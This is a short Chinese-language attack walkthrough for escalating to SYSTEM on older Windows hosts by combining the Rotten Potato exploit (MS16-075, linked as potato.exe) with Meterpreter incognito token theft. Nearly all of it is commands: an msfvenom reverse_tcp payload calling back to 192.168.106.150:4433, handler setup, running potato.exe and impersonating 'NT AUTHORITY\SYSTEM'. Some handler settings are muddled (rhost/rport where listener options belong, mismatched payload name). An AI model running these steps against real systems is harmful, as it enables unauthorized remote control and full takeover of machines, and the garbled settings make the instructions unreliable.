烂土豆+令牌窃取提权

烂土豆+令牌窃取提权（win2008及之前可以直接使用令牌窃取提权）

potato.exe:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

# 1.生成shell上传到目标主机
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.150 LPORT=4433 -f exe -o 4433.exe

# 2.开启msf
use /multi/handler
set rhost 127.0.0.1(本机ip)
set rport	4433（本机端口）
set payload windows/meterpreter_reverse_tcp
# 3.加载incoginto功能（用来盗窃目标主机的令牌或是假冒用户)
use incognito
execute -cH -f c:/potato.exe
# 4.列出目标机器用户的可用令牌,并使用system权限
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
# 5.查看权限
getuid